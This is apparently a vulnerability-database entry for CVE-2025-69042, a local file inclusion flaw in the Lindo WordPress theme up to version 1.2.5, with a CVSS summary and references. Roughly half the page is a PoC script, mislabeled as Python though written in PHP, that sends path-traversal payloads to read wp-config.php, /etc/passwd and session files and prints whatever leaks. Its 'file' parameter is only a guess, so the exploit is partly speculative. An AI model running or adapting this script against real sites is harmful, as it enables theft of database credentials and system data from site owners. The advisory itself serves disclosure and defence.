CVE-2025-69042

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in goalthemes Lindo lindo allows PHP Local File Inclusion.This issue affects Lindo: from n/a through <= 1.2.5.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lindo WordPress Theme <= 1.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-69042 LFI PoC
 * Target: Lindo WordPress Theme <= 1.2.5
 * Type: Local File Inclusion
 * Author: Security Researcher
 */

$target = 'http://target-site.com/wp-content/themes/lindo/';
$proxies = []; // Add proxies if needed

// LFI payload examples
$payloads = [
    // Read wp-config.php
    '../../../../wp-config.php',
    // Read /etc/passwd
    '../../../../../../etc/passwd',
    // Read PHP session file
    '../../../../../../tmp/sess_xxxxx',
    // Path traversal to reach system files
    '../../../../../../../../../var/www/html/wp-config.php'
];

foreach ($payloads as $payload) {
    $params = ['file' => $payload]; // Common parameter name
    $url = $target . '?' . http_build_query($params);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "[*] Testing: $payload\n";
    echo "[*] HTTP Code: $httpCode\n";
    if (strpos($response, '<?php') !== false || strpos($response, 'root:') !== false) {
        echo "[!] VULNERABLE! File contents leaked:\n";
        echo $response . "\n\n";
    }
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69042
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69042
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69042/
[4] VulDB https://vuldb.com/cve/CVE-2025-69042
[5] https://patchstack.com/database/Wordpress/Theme/lindo/vulnerability/wordpress-lindo-theme-1-2-5-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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